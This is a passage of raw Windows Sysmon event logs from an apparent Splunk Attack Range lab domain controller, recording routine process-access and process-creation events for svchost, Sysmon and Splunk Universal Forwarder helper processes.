09:16:55.365{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006175Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:55.365{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006174Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:55.365{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006173Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:55.365{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006172Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:55.365{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006171Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:55.365{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006170Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:55.365{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006169Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:55.365{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006168Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:55.365{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006167Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:55.365{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2A87-5F80-6201-000000007F01}860C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000006166Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:55.365{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A87-5F80-6201-000000007F01}860C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000006165Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:55.366{A5F018FF-2A87-5F80-6201-000000007F01}860C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000006192Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:56.162{A5F018FF-2A88-5F80-6301-000000007F01}15884376C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006191Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:56.022{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A88-5F80-6301-000000007F01}1588C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006190Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:56.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006189Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:56.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006188Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:56.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006187Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:56.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006186Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:56.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006185Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:56.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006184Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:56.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006183Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:56.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006182Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:56.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006181Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:56.022{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2A88-5F80-6301-000000007F01}1588C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000006180Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:56.022{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A88-5F80-6301-000000007F01}1588C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000006179Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:56.023{A5F018FF-2A88-5F80-6301-000000007F01}1588C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000006205Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:57.350{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A89-5F80-6401-000000007F01}4600C:\Program 